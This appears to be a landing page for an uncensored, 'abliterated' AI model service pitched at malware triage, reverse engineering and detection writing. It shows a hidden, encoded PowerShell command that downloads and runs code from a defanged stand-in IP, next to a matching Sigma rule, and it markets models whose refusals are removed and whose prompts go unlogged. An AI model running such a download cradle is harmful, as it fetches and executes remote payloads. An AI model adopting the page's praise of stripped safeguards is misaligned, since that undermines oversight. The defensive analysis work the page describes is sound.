Read the sample.
Write the detection.
Malware analysis, reverse engineering and detection engineering with models that work on the artifact in front of them. No lecture, no refusal, no prompt logs.
powershell -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkA…IEX (New-Object Net.WebClient).DownloadString('hxxp://203.0.113[.]7/a')detection: sel: CommandLine|contains|all: - ' -enc ' - ' -w hidden' condition: sel
Defenders need to read
what attackers write.
Aligned models stop at the word payload. Abliterated models keep their full knowledge and answer the question you asked.
Malware triage
Decode, deobfuscate and explain what a sample does, stage by stage, with the indicators pulled out.
Reverse engineering
Walk through decompiled functions, name symbols, recover structs and the protocol on the wire.
Detection engineering
Sigma, YARA, KQL and Suricata drafts written next to the analysis they come from.
Vulnerability research
Reproduce known CVEs in an isolated lab to validate patches, mitigations and detections.
Incident response
Build timelines from raw logs, triage suspicious binaries and draft the write-up.
Threat intelligence
Summarize an actor's tradecraft from reports and map it to ATT&CK techniques.
From artifact to rule
Paste the artifact
Scripts, decompiled code, PCAP summaries, EDR telemetry. 1M tokens holds a whole decompilation, not a snippet.
Ask what it does
Say who you are and what is in scope. The model explains behavior, intent and indicators.
Get the detections
Ask for rules alongside the analysis, in the format your SIEM takes.
Validate in your lab
Run the sample and the rules in your sandbox. The model helps read what happened.
Two models,
two opinions.
from openai import OpenAI
import os, pathlib
client = OpenAI(base_url="https://xfield.cloud.brutal.ai/api/v1", api_key=os.environ["XFIELD_API_KEY"])
sample = pathlib.Path("sample_7f3a.ps1").read_text()
reply = client.chat.completions.create(
model="deepseek-v4.1-flash-1017-uncensored",
reasoning_effort="high",
messages=[
{"role": "system", "content": "You are a malware analyst on our SOC. "
"Samples come from our own incident queue."},
{"role": "user", "content": f"Explain each stage, list IOCs, "
f"then write a Sigma rule.\n\n{sample}"},
],
)Questions
Is security research allowed?
Yes. Analysis, reverse engineering, detection work and testing systems you are authorized to test are what these models are for. The acceptable use policy rules out attacking systems you have no permission to touch.
Are my samples and prompts stored?
No. Prompts and replies are not written to storage. We keep a usage record per request (model, tokens, timing) and never the text. Data handling.
Which model should I use?
DeepSeek V4.1 Flash for most of it: it has the highest cybersecurity benchmark score of our models and runs long agent loops cheaply, because most of the context is cached between turns. GLM 5.3 when the write-up is long or you want a second opinion from another model family. Both take 1M tokens.
Does it work inside my tools?
Anything that speaks the OpenAI or Anthropic API works, including Claude Code and Codex for agentic triage. See the security research guide.
Keep your stack.
Lose the refusals.
Tell us what you are building. We reply with an invitation, a key and pricing for your volume.